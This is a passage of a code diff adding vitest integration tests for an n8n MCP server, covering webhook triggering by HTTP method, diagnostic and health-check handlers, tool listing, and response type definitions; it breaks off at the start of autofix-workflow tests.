+  });
+
+  // ======================================================================
+  // PUT Method Tests
+  // ======================================================================
+
+  describe('PUT Method', () => {
+    it('should trigger PUT webhook with update data', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.put,
+          httpMethod: 'PUT',
+          data: {
+            id: '123',
+            updatedField: 'new value',
+            timestamp: Date.now()
+          }
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger PUT webhook with custom headers', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.put,
+          httpMethod: 'PUT',
+          data: { update: true },
+          headers: {
+            'X-Update-Operation': 'modify',
+            'If-Match': 'etag-value'
+          }
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger PUT webhook without data', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.put,
+          httpMethod: 'PUT'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // DELETE Method Tests
+  // ======================================================================
+
+  describe('DELETE Method', () => {
+    it('should trigger DELETE webhook with query parameters', async () => {
+      const urlWithParams = `${webhookUrls.delete}?id=123&reason=test`;
+
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: urlWithParams,
+          httpMethod: 'DELETE'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger DELETE webhook with custom headers', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.delete,
+          httpMethod: 'DELETE',
+          headers: {
+            'X-Delete-Reason': 'cleanup',
+            'Authorization': 'Bearer token'
+          }
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger DELETE webhook without parameters', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.delete,
+          httpMethod: 'DELETE'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Error Handling
+  // ======================================================================
+
+  describe('Error Handling', () => {
+    it('should handle invalid webhook URL', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: 'https://invalid-url.example.com/webhook/nonexistent',
+          httpMethod: 'GET'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle malformed webhook URL', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: 'not-a-valid-url',
+          httpMethod: 'GET'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle missing webhook URL', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          httpMethod: 'GET'
+        } as any,
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle invalid HTTP method', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.get,
+          httpMethod: 'INVALID' as any
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Default Method (POST)
+  // ======================================================================
+
+  describe('Default Method Behavior', () => {
+    it('should default to POST method when not specified', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.post,
+          data: { defaultMethod: true }
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Response Format Verification
+  // ======================================================================
+
+  describe('Response Format', () => {
+    it('should return complete webhook response structure', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.get,
+          httpMethod: 'GET',
+          waitForResponse: true
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+      expect(response.message).toBeDefined();
+      expect(response.message).toContain('Webhook triggered successfully');
+
+      // Response data should be defined (either workflow output or execution info)
+      expect(typeof response.data).not.toBe('undefined');
+    });
+  });
+});

tests/integration/n8n-api/system/diagnostic.test.ts

@@ -0,0 +1,270 @@
+/**
+ * Integration Tests: handleDiagnostic
+ *
+ * Tests system diagnostic functionality.
+ * Covers environment checks, API status, and verbose mode.
+ */
+
+import { describe, it, expect, beforeEach } from 'vitest';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleDiagnostic } from '../../../../src/mcp/handlers-n8n-manager';
+import { DiagnosticResponse } from '../utils/response-types';
+
+describe('Integration: handleDiagnostic', () => {
+  let mcpContext: InstanceContext;
+
+  beforeEach(() => {
+    mcpContext = createMcpContext();
+  });
+
+  // ======================================================================
+  // Basic Diagnostic
+  // ======================================================================
+
+  describe('Basic Diagnostic', () => {
+    it('should run basic diagnostic check', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: {} } },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as DiagnosticResponse;
+
+      // Verify core diagnostic fields
+      expect(data).toHaveProperty('timestamp');
+      expect(data).toHaveProperty('environment');
+      expect(data).toHaveProperty('apiConfiguration');
+      expect(data).toHaveProperty('toolsAvailability');
+      expect(data).toHaveProperty('troubleshooting');
+
+      // Verify timestamp format
+      expect(typeof data.timestamp).toBe('string');
+      const timestamp = new Date(data.timestamp);
+      expect(timestamp.toString()).not.toBe('Invalid Date');
+    });
+
+    it('should include environment variables', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: {} } },
+        mcpContext
+      );
+
+      const data = response.data as DiagnosticResponse;
+
+      expect(data.environment).toBeDefined();
+      expect(data.environment).toHaveProperty('N8N_API_URL');
+      expect(data.environment).toHaveProperty('N8N_API_KEY');
+      expect(data.environment).toHaveProperty('NODE_ENV');
+      expect(data.environment).toHaveProperty('MCP_MODE');
+
+      // API key should be masked
+      if (data.environment.N8N_API_KEY) {
+        expect(data.environment.N8N_API_KEY).toBe('***configured***');
+      }
+    });
+
+    it('should check API configuration and connectivity', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: {} } },
+        mcpContext
+      );
+
+      const data = response.data as DiagnosticResponse;
+
+      expect(data.apiConfiguration).toBeDefined();
+      expect(data.apiConfiguration).toHaveProperty('configured');
+      expect(data.apiConfiguration).toHaveProperty('status');
+
+      // In test environment, API should be configured
+      expect(data.apiConfiguration.configured).toBe(true);
+
+      // Verify API status
+      const status = data.apiConfiguration.status;
+      expect(status).toHaveProperty('configured');
+      expect(status).toHaveProperty('connected');
+
+      // Should successfully connect to n8n API
+      expect(status.connected).toBe(true);
+
+      // If connected, should have version info
+      if (status.connected) {
+        expect(status).toHaveProperty('version');
+      }
+
+      // Config details should be present when configured
+      if (data.apiConfiguration.configured) {
+        expect(data.apiConfiguration).toHaveProperty('config');
+        expect(data.apiConfiguration.config).toHaveProperty('baseUrl');
+        expect(data.apiConfiguration.config).toHaveProperty('timeout');
+        expect(data.apiConfiguration.config).toHaveProperty('maxRetries');
+      }
+    });
+
+    it('should report tools availability', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: {} } },
+        mcpContext
+      );
+
+      const data = response.data as DiagnosticResponse;
+
+      expect(data.toolsAvailability).toBeDefined();
+      expect(data.toolsAvailability).toHaveProperty('documentationTools');
+      expect(data.toolsAvailability).toHaveProperty('managementTools');
+      expect(data.toolsAvailability).toHaveProperty('totalAvailable');
+
+      // Documentation tools should always be available
+      const docTools = data.toolsAvailability.documentationTools;
+      expect(docTools.count).toBeGreaterThan(0);
+      expect(docTools.enabled).toBe(true);
+      expect(docTools.description).toBeDefined();
+
+      // Management tools should be available when API configured
+      const mgmtTools = data.toolsAvailability.managementTools;
+      expect(mgmtTools).toHaveProperty('count');
+      expect(mgmtTools).toHaveProperty('enabled');
+      expect(mgmtTools).toHaveProperty('description');
+
+      // In test environment, management tools should be enabled
+      expect(mgmtTools.enabled).toBe(true);
+      expect(mgmtTools.count).toBeGreaterThan(0);
+
+      // Total should be sum of both
+      expect(data.toolsAvailability.totalAvailable).toBe(
+        docTools.count + mgmtTools.count
+      );
+    });
+
+    it('should include troubleshooting information', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: {} } },
+        mcpContext
+      );
+
+      const data = response.data as DiagnosticResponse;
+
+      expect(data.troubleshooting).toBeDefined();
+      expect(data.troubleshooting).toHaveProperty('steps');
+      expect(data.troubleshooting).toHaveProperty('documentation');
+
+      // Troubleshooting steps should be an array
+      expect(Array.isArray(data.troubleshooting.steps)).toBe(true);
+      expect(data.troubleshooting.steps.length).toBeGreaterThan(0);
+
+      // Documentation link should be present
+      expect(typeof data.troubleshooting.documentation).toBe('string');
+      expect(data.troubleshooting.documentation).toContain('https://');
+    });
+  });
+
+  // ======================================================================
+  // Verbose Mode
+  // ======================================================================
+
+  describe('Verbose Mode', () => {
+    it('should include additional debug info in verbose mode', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: { verbose: true } } },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as DiagnosticResponse;
+
+      // Verbose mode should add debug section
+      expect(data).toHaveProperty('debug');
+      expect(data.debug).toBeDefined();
+
+      // Verify debug information
+      expect(data.debug).toBeDefined();
+      expect(data.debug).toHaveProperty('processEnv');
+      expect(data.debug).toHaveProperty('nodeVersion');
+      expect(data.debug).toHaveProperty('platform');
+      expect(data.debug).toHaveProperty('workingDirectory');
+
+      // Process env should list relevant environment variables
+      expect(Array.isArray(data.debug?.processEnv)).toBe(true);
+
+      // Node version should be a string
+      expect(typeof data.debug?.nodeVersion).toBe('string');
+      expect(data.debug?.nodeVersion).toMatch(/^v\d+\.\d+\.\d+/);
+
+      // Platform should be a string (linux, darwin, win32, etc.)
+      expect(typeof data.debug?.platform).toBe('string');
+      expect(data.debug && data.debug.platform.length).toBeGreaterThan(0);
+
+      // Working directory should be a path
+      expect(typeof data.debug?.workingDirectory).toBe('string');
+      expect(data.debug && data.debug.workingDirectory.length).toBeGreaterThan(0);
+    });
+
+    it('should not include debug info when verbose is false', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: { verbose: false } } },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as DiagnosticResponse;
+
+      // Debug section should not be present
+      expect(data.debug).toBeUndefined();
+    });
+
+    it('should not include debug info by default', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: {} } },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as DiagnosticResponse;
+
+      // Debug section should not be present when verbose not specified
+      expect(data.debug).toBeUndefined();
+    });
+  });
+
+  // ======================================================================
+  // Response Format Verification
+  // ======================================================================
+
+  describe('Response Format', () => {
+    it('should return complete diagnostic response structure', async () => {
+      const response = await handleDiagnostic(
+        { params: { arguments: {} } },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as DiagnosticResponse;
+
+      // Verify all required fields
+      const requiredFields = [
+        'timestamp',
+        'environment',
+        'apiConfiguration',
+        'toolsAvailability',
+        'troubleshooting'
+      ];
+
+      requiredFields.forEach(field => {
+        expect(data).toHaveProperty(field);
+        expect(data[field]).toBeDefined();
+      });
+
+      // Verify data types
+      expect(typeof data.timestamp).toBe('string');
+      expect(typeof data.environment).toBe('object');
+      expect(typeof data.apiConfiguration).toBe('object');
+      expect(typeof data.toolsAvailability).toBe('object');
+      expect(typeof data.troubleshooting).toBe('object');
+    });
+  });
+});

tests/integration/n8n-api/system/health-check.test.ts

@@ -0,0 +1,110 @@
+/**
+ * Integration Tests: handleHealthCheck
+ *
+ * Tests API health check against a real n8n instance.
+ * Covers connectivity verification and feature availability.
+ */
+
+import { describe, it, expect, beforeEach } from 'vitest';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleHealthCheck } from '../../../../src/mcp/handlers-n8n-manager';
+import { HealthCheckResponse } from '../utils/response-types';
+
+describe('Integration: handleHealthCheck', () => {
+  let mcpContext: InstanceContext;
+
+  beforeEach(() => {
+    mcpContext = createMcpContext();
+  });
+
+  // ======================================================================
+  // Successful Health Check
+  // ======================================================================
+
+  describe('API Available', () => {
+    it('should successfully check n8n API health', async () => {
+      const response = await handleHealthCheck(mcpContext);
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as HealthCheckResponse;
+
+      // Verify required fields
+      expect(data).toHaveProperty('status');
+      expect(data).toHaveProperty('apiUrl');
+      expect(data).toHaveProperty('mcpVersion');
+
+      // Status should be a string (e.g., "ok", "healthy")
+      if (data.status) {
+        expect(typeof data.status).toBe('string');
+      }
+
+      // API URL should match configuration
+      expect(data.apiUrl).toBeDefined();
+      expect(typeof data.apiUrl).toBe('string');
+
+      // MCP version should be defined
+      expect(data.mcpVersion).toBeDefined();
+      expect(typeof data.mcpVersion).toBe('string');
+    });
+
+    it('should include feature availability information', async () => {
+      const response = await handleHealthCheck(mcpContext);
+
+      expect(response.success).toBe(true);
+      const data = response.data as HealthCheckResponse;
+
+      // Check for feature information
+      // Note: Features may vary by n8n instance configuration
+      if (data.features) {
+        expect(typeof data.features).toBe('object');
+      }
+
+      // Check for version information
+      if (data.n8nVersion) {
+        expect(typeof data.n8nVersion).toBe('string');
+      }
+
+      if (data.supportedN8nVersion) {
+        expect(typeof data.supportedN8nVersion).toBe('string');
+      }
+
+      // Should include version note for AI agents
+      if (data.versionNote) {
+        expect(typeof data.versionNote).toBe('string');
+        expect(data.versionNote).toContain('version');
+      }
+    });
+  });
+
+  // ======================================================================
+  // Response Format Verification
+  // ======================================================================
+
+  describe('Response Format', () => {
+    it('should return complete health check response structure', async () => {
+      const response = await handleHealthCheck(mcpContext);
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as HealthCheckResponse;
+
+      // Verify all expected fields are present
+      const expectedFields = ['status', 'apiUrl', 'mcpVersion'];
+      expectedFields.forEach(field => {
+        expect(data).toHaveProperty(field);
+      });
+
+      // Optional fields that may be present
+      const optionalFields = ['instanceId', 'n8nVersion', 'features', 'supportedN8nVersion', 'versionNote'];
+      optionalFields.forEach(field => {
+        if (data[field] !== undefined) {
+          expect(data[field]).not.toBeNull();
+        }
+      });
+    });
+  });
+});

tests/integration/n8n-api/system/list-tools.test.ts

@@ -0,0 +1,208 @@
+/**
+ * Integration Tests: handleListAvailableTools
+ *
+ * Tests tool listing functionality.
+ * Covers tool discovery and configuration status.
+ */
+
+import { describe, it, expect, beforeEach } from 'vitest';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleListAvailableTools } from '../../../../src/mcp/handlers-n8n-manager';
+import { ListToolsResponse } from '../utils/response-types';
+
+describe('Integration: handleListAvailableTools', () => {
+  let mcpContext: InstanceContext;
+
+  beforeEach(() => {
+    mcpContext = createMcpContext();
+  });
+
+  // ======================================================================
+  // List All Tools
+  // ======================================================================
+
+  describe('Tool Listing', () => {
+    it('should list all available tools organized by category', async () => {
+      const response = await handleListAvailableTools(mcpContext);
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as ListToolsResponse;
+
+      // Verify tools array exists
+      expect(data).toHaveProperty('tools');
+      expect(Array.isArray(data.tools)).toBe(true);
+      expect(data.tools.length).toBeGreaterThan(0);
+
+      // Verify tool categories
+      const categories = data.tools.map((cat: any) => cat.category);
+      expect(categories).toContain('Workflow Management');
+      expect(categories).toContain('Execution Management');
+      expect(categories).toContain('System');
+
+      // Verify each category has tools
+      data.tools.forEach(category => {
+        expect(category).toHaveProperty('category');
+        expect(category).toHaveProperty('tools');
+        expect(Array.isArray(category.tools)).toBe(true);
+        expect(category.tools.length).toBeGreaterThan(0);
+
+        // Verify each tool has required fields
+        category.tools.forEach(tool => {
+          expect(tool).toHaveProperty('name');
+          expect(tool).toHaveProperty('description');
+          expect(typeof tool.name).toBe('string');
+          expect(typeof tool.description).toBe('string');
+        });
+      });
+    });
+
+    it('should include API configuration status', async () => {
+      const response = await handleListAvailableTools(mcpContext);
+
+      expect(response.success).toBe(true);
+      const data = response.data as ListToolsResponse;
+
+      // Verify configuration status
+      expect(data).toHaveProperty('apiConfigured');
+      expect(typeof data.apiConfigured).toBe('boolean');
+
+      // Since tests run with API configured, should be true
+      expect(data.apiConfigured).toBe(true);
+
+      // Verify configuration details are present when configured
+      if (data.apiConfigured) {
+        expect(data).toHaveProperty('configuration');
+        expect(data.configuration).toBeDefined();
+        expect(data.configuration).toHaveProperty('apiUrl');
+        expect(data.configuration).toHaveProperty('timeout');
+        expect(data.configuration).toHaveProperty('maxRetries');
+      }
+    });
+
+    it('should include API limitations information', async () => {
+      const response = await handleListAvailableTools(mcpContext);
+
+      expect(response.success).toBe(true);
+      const data = response.data as ListToolsResponse;
+
+      // Verify limitations are documented
+      expect(data).toHaveProperty('limitations');
+      expect(Array.isArray(data.limitations)).toBe(true);
+      expect(data.limitations.length).toBeGreaterThan(0);
+
+      // Verify limitations are informative strings
+      data.limitations.forEach(limitation => {
+        expect(typeof limitation).toBe('string');
+        expect(limitation.length).toBeGreaterThan(0);
+      });
+
+      // Common known limitations
+      const limitationsText = data.limitations.join(' ');
+      expect(limitationsText).toContain('Cannot activate');
+      expect(limitationsText).toContain('Cannot execute workflows directly');
+    });
+  });
+
+  // ======================================================================
+  // Workflow Management Tools
+  // ======================================================================
+
+  describe('Workflow Management Tools', () => {
+    it('should include all workflow management tools', async () => {
+      const response = await handleListAvailableTools(mcpContext);
+      const data = response.data as ListToolsResponse;
+
+      const workflowCategory = data.tools.find(cat => cat.category === 'Workflow Management');
+      expect(workflowCategory).toBeDefined();
+
+      const toolNames = workflowCategory!.tools.map(t => t.name);
+
+      // Core workflow tools
+      expect(toolNames).toContain('n8n_create_workflow');
+      expect(toolNames).toContain('n8n_get_workflow');
+      expect(toolNames).toContain('n8n_update_workflow');
+      expect(toolNames).toContain('n8n_delete_workflow');
+      expect(toolNames).toContain('n8n_list_workflows');
+
+      // Enhanced workflow tools
+      expect(toolNames).toContain('n8n_get_workflow_details');
+      expect(toolNames).toContain('n8n_get_workflow_structure');
+      expect(toolNames).toContain('n8n_get_workflow_minimal');
+      expect(toolNames).toContain('n8n_validate_workflow');
+      expect(toolNames).toContain('n8n_autofix_workflow');
+    });
+  });
+
+  // ======================================================================
+  // Execution Management Tools
+  // ======================================================================
+
+  describe('Execution Management Tools', () => {
+    it('should include all execution management tools', async () => {
+      const response = await handleListAvailableTools(mcpContext);
+      const data = response.data as ListToolsResponse;
+
+      const executionCategory = data.tools.find(cat => cat.category === 'Execution Management');
+      expect(executionCategory).toBeDefined();
+
+      const toolNames = executionCategory!.tools.map(t => t.name);
+
+      expect(toolNames).toContain('n8n_trigger_webhook_workflow');
+      expect(toolNames).toContain('n8n_get_execution');
+      expect(toolNames).toContain('n8n_list_executions');
+      expect(toolNames).toContain('n8n_delete_execution');
+    });
+  });
+
+  // ======================================================================
+  // System Tools
+  // ======================================================================
+
+  describe('System Tools', () => {
+    it('should include system tools', async () => {
+      const response = await handleListAvailableTools(mcpContext);
+      const data = response.data as ListToolsResponse;
+
+      const systemCategory = data.tools.find(cat => cat.category === 'System');
+      expect(systemCategory).toBeDefined();
+
+      const toolNames = systemCategory!.tools.map(t => t.name);
+
+      expect(toolNames).toContain('n8n_health_check');
+      expect(toolNames).toContain('n8n_list_available_tools');
+    });
+  });
+
+  // ======================================================================
+  // Response Format Verification
+  // ======================================================================
+
+  describe('Response Format', () => {
+    it('should return complete tool list response structure', async () => {
+      const response = await handleListAvailableTools(mcpContext);
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as ListToolsResponse;
+
+      // Verify all required fields
+      expect(data).toHaveProperty('tools');
+      expect(data).toHaveProperty('apiConfigured');
+      expect(data).toHaveProperty('limitations');
+
+      // Verify optional configuration field
+      if (data.apiConfigured) {
+        expect(data).toHaveProperty('configuration');
+      }
+
+      // Verify data types
+      expect(Array.isArray(data.tools)).toBe(true);
+      expect(typeof data.apiConfigured).toBe('boolean');
+      expect(Array.isArray(data.limitations)).toBe(true);
+    });
+  });
+});

tests/integration/n8n-api/types/mcp-responses.ts

@@ -0,0 +1,72 @@
+/**
+ * TypeScript interfaces for MCP handler responses
+ *
+ * These interfaces provide type safety for integration tests,
+ * replacing unsafe `as any` casts with proper type definitions.
+ */
+
+/**
+ * Workflow validation response from handleValidateWorkflow
+ */
+export interface ValidationResponse {
+  valid: boolean;
+  workflowId: string;
+  workflowName: string;
+  summary: {
+    totalNodes: number;
+    enabledNodes: number;
+    triggerNodes: number;
+    validConnections?: number;
+    invalidConnections?: number;
+    expressionsValidated?: number;
+    errorCount: number;
+    warningCount: number;
+  };
+  errors?: Array<{
+    node: string;
+    message: string;
+    details?: unknown;
+  }>;
+  warnings?: Array<{
+    node: string;
+    message: string;
+    details?: unknown;
+  }>;
+}
+
+/**
+ * Workflow autofix response from handleAutofixWorkflow
+ */
+export interface AutofixResponse {
+  workflowId: string;
+  workflowName: string;
+  preview?: boolean;
+  fixesAvailable?: number;
+  fixesApplied?: number;
+  fixes?: Array<{
+    type: 'expression-format' | 'typeversion-correction' | 'error-output-config' | 'node-type-correction' | 'webhook-missing-path';
+    confidence: 'high' | 'medium' | 'low';
+    description: string;
+    nodeName?: string;
+    nodeId?: string;
+    before?: unknown;
+    after?: unknown;
+  }>;
+  summary?: {
+    totalFixes: number;
+    byType: Record<string, number>;
+    byConfidence: Record<string, number>;
+  };
+  stats?: {
+    expressionFormat?: number;
+    typeVersionCorrection?: number;
+    errorOutputConfig?: number;
+    nodeTypeCorrection?: number;
+    webhookMissingPath?: number;
+  };
+  message?: string;
+  validationSummary?: {
+    errors: number;
+    warnings: number;
+  };
+}

tests/integration/n8n-api/utils/cleanup-helpers.ts

@@ -218,7 +218,7 @@ export async function cleanupWorkflowsByTag(tag: string): Promise<string[]> {
 
   try {
     const response = await client.listWorkflows({
-      tags: tag ? [tag] : undefined,
+      tags: tag || undefined,
       limit: 100,
       excludePinnedData: true
     });

tests/integration/n8n-api/utils/node-repository.ts

@@ -0,0 +1,65 @@
+/**
+ * Node Repository Utility for Integration Tests
+ *
+ * Provides a singleton NodeRepository instance for integration tests
+ * that require validation or autofix functionality.
+ */
+
+import path from 'path';
+import { createDatabaseAdapter, DatabaseAdapter } from '../../../../src/database/database-adapter';
+import { NodeRepository } from '../../../../src/database/node-repository';
+
+let repositoryInstance: NodeRepository | null = null;
+let dbInstance: DatabaseAdapter | null = null;
+
+/**
+ * Get or create NodeRepository instance
+ *
+ * Uses the production nodes.db database (data/nodes.db).
+ *
+ * @returns Singleton NodeRepository instance
+ * @throws {Error} If database file cannot be found or opened
+ *
+ * @example
+ * const repository = await getNodeRepository();
+ * const nodeInfo = await repository.getNodeByType('n8n-nodes-base.webhook');
+ */
+export async function getNodeRepository(): Promise<NodeRepository> {
+  if (repositoryInstance) {
+    return repositoryInstance;
+  }
+
+  const dbPath = path.join(process.cwd(), 'data/nodes.db');
+  dbInstance = await createDatabaseAdapter(dbPath);
+  repositoryInstance = new NodeRepository(dbInstance);
+
+  return repositoryInstance;
+}
+
+/**
+ * Close database and reset repository instance
+ *
+ * Should be called in test cleanup (afterAll) to prevent resource leaks.
+ * Properly closes the database connection and resets the singleton.
+ *
+ * @example
+ * afterAll(async () => {
+ *   await closeNodeRepository();
+ * });
+ */
+export async function closeNodeRepository(): Promise<void> {
+  if (dbInstance && typeof dbInstance.close === 'function') {
+    await dbInstance.close();
+  }
+  dbInstance = null;
+  repositoryInstance = null;
+}
+
+/**
+ * Reset repository instance (useful for test cleanup)
+ *
+ * @deprecated Use closeNodeRepository() instead to properly close database connections
+ */
+export function resetNodeRepository(): void {
+  repositoryInstance = null;
+}

tests/integration/n8n-api/utils/response-types.ts

@@ -0,0 +1,202 @@
+/**
+ * TypeScript interfaces for n8n API and MCP handler responses
+ * Used in integration tests to provide type safety
+ */
+
+// ======================================================================
+// System Tool Response Types
+// ======================================================================
+
+export interface HealthCheckResponse {
+  status: string;
+  instanceId?: string;
+  n8nVersion?: string;
+  features?: Record<string, any>;
+  apiUrl: string;
+  mcpVersion: string;
+  supportedN8nVersion?: string;
+  versionNote?: string;
+  [key: string]: any; // Allow dynamic property access for optional field checks
+}
+
+export interface ToolDefinition {
+  name: string;
+  description: string;
+}
+
+export interface ToolCategory {
+  category: string;
+  tools: ToolDefinition[];
+}
+
+export interface ApiConfiguration {
+  apiUrl: string;
+  timeout: number;
+  maxRetries: number;
+}
+
+export interface ListToolsResponse {
+  tools: ToolCategory[];
+  apiConfigured: boolean;
+  configuration?: ApiConfiguration | null;
+  limitations: string[];
+}
+
+export interface ApiStatus {
+  configured: boolean;
+  connected: boolean;
+  error?: string | null;
+  version?: string | null;
+}
+
+export interface ToolsAvailability {
+  documentationTools: {
+    count: number;
+    enabled: boolean;
+    description: string;
+  };
+  managementTools: {
+    count: number;
+    enabled: boolean;
+    description: string;
+  };
+  totalAvailable: number;
+}
+
+export interface DebugInfo {
+  processEnv: string[];
+  nodeVersion: string;
+  platform: string;
+  workingDirectory: string;
+}
+
+export interface DiagnosticResponse {
+  timestamp: string;
+  environment: {
+    N8N_API_URL: string | null;
+    N8N_API_KEY: string | null;
+    NODE_ENV: string;
+    MCP_MODE: string;
+  };
+  apiConfiguration: {
+    configured: boolean;
+    status: ApiStatus;
+    config?: {
+      baseUrl: string;
+      timeout: number;
+      maxRetries: number;
+    } | null;
+  };
+  toolsAvailability: ToolsAvailability;
+  troubleshooting: {
+    steps: string[];
+    documentation: string;
+  };
+  debug?: DebugInfo;
+  [key: string]: any; // Allow dynamic property access for optional field checks
+}
+
+// ======================================================================
+// Execution Response Types
+// ======================================================================
+
+export interface ExecutionData {
+  id: string;
+  status?: 'success' | 'error' | 'running' | 'waiting';
+  mode?: string;
+  startedAt?: string;
+  stoppedAt?: string;
+  workflowId?: string;
+  data?: any;
+}
+
+export interface ListExecutionsResponse {
+  executions: ExecutionData[];
+  returned: number;
+  nextCursor?: string;
+  hasMore: boolean;
+  _note?: string;
+}
+
+// ======================================================================
+// Workflow Response Types
+// ======================================================================
+
+export interface WorkflowNode {
+  id: string;
+  name: string;
+  type: string;
+  typeVersion: number;
+  position: [number, number];
+  parameters: Record<string, any>;
+  credentials?: Record<string, any>;
+  disabled?: boolean;
+}
+
+export interface WorkflowConnections {
+  [key: string]: any;
+}
+
+export interface WorkflowData {
+  id: string;
+  name: string;
+  active: boolean;
+  nodes: WorkflowNode[];
+  connections: WorkflowConnections;
+  settings?: Record<string, any>;
+  staticData?: Record<string, any>;
+  tags?: string[];
+  versionId?: string;
+  createdAt?: string;
+  updatedAt?: string;
+}
+
+export interface ValidationError {
+  nodeId?: string;
+  nodeName?: string;
+  field?: string;
+  message: string;
+  type?: string;
+}
+
+export interface ValidationWarning {
+  nodeId?: string;
+  nodeName?: string;
+  message: string;
+  type?: string;
+}
+
+export interface ValidateWorkflowResponse {
+  valid: boolean;
+  errors?: ValidationError[];
+  warnings?: ValidationWarning[];
+  errorCount?: number;
+  warningCount?: number;
+  summary?: string;
+}
+
+export interface AutofixChange {
+  nodeId: string;
+  nodeName: string;
+  field: string;
+  oldValue: any;
+  newValue: any;
+  reason: string;
+}
+
+export interface AutofixSuggestion {
+  fixType: string;
+  nodeId: string;
+  nodeName: string;
+  description: string;
+  confidence: 'high' | 'medium' | 'low';
+  changes: AutofixChange[];
+}
+
+export interface AutofixResponse {
+  appliedFixes?: number;
+  suggestions?: AutofixSuggestion[];
+  workflow?: WorkflowData;
+  summary?: string;
+  preview?: boolean;
+}

tests/integration/n8n-api/workflows/autofix-workflow.test.ts

@@ -0,0 +1,855 @@
+/**
+ * Integration Tests: handleAutofixWorkflow
+ *
+ * Tests workflow autofix against a real n8n instance.
+ * Covers fix types, confidence levels, preview/apply modes, and error handling.
+ */
+
+import { describe, it, expect, beforeEach, afterEach, afterAll } from 'vitest';
+import { createTestContext, TestContext, createTestWorkflowName } from '../utils/test-context';
+import { getTestN8nClient } from '../utils/n8n-client';
+import { N8nApiClient } from '../../../../src/services/n8n-api-client';
+import { cleanupOrphanedWorkflows } from '../utils/cleanup-helpers';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleAutofixWorkflow } from '../../../../src/mcp/handlers-n8n-manager';
+import { getNodeRepository, closeNodeRepository } from '../utils/node-repository';
+import { NodeRepository } from '../../../../src/database/node-repository';
+import { AutofixResponse } from '../types/mcp-responses';
+
+describe('Integration: handleAutofixWorkflow', () => {
+  let context: TestContext;
+  let client: N8nApiClient;
+  let mcpContext: InstanceContext;
+  let repository: NodeRepository;
+
+  beforeEach(async () => {
+    context = createTestContext();
+    client = getTestN8nClient();
+    mcpContext = createMcpContext();
+    repository = await getNodeRepository();
+  });
+
+  afterEach(async () => {
+    await context.cleanup();
+  });
+
+  afterAll(async () => {
+    await closeNodeRepository();
+    if (!process.env.CI) {
+      await cleanupOrphanedWorkflows();
+    }
+  });
+
+  // ======================================================================
+  // Preview Mode (applyFixes: false)
+  // ======================================================================
+
+  describe('Preview Mode', () => {
+    it('should preview fixes without applying them (expression-format)', async () => {
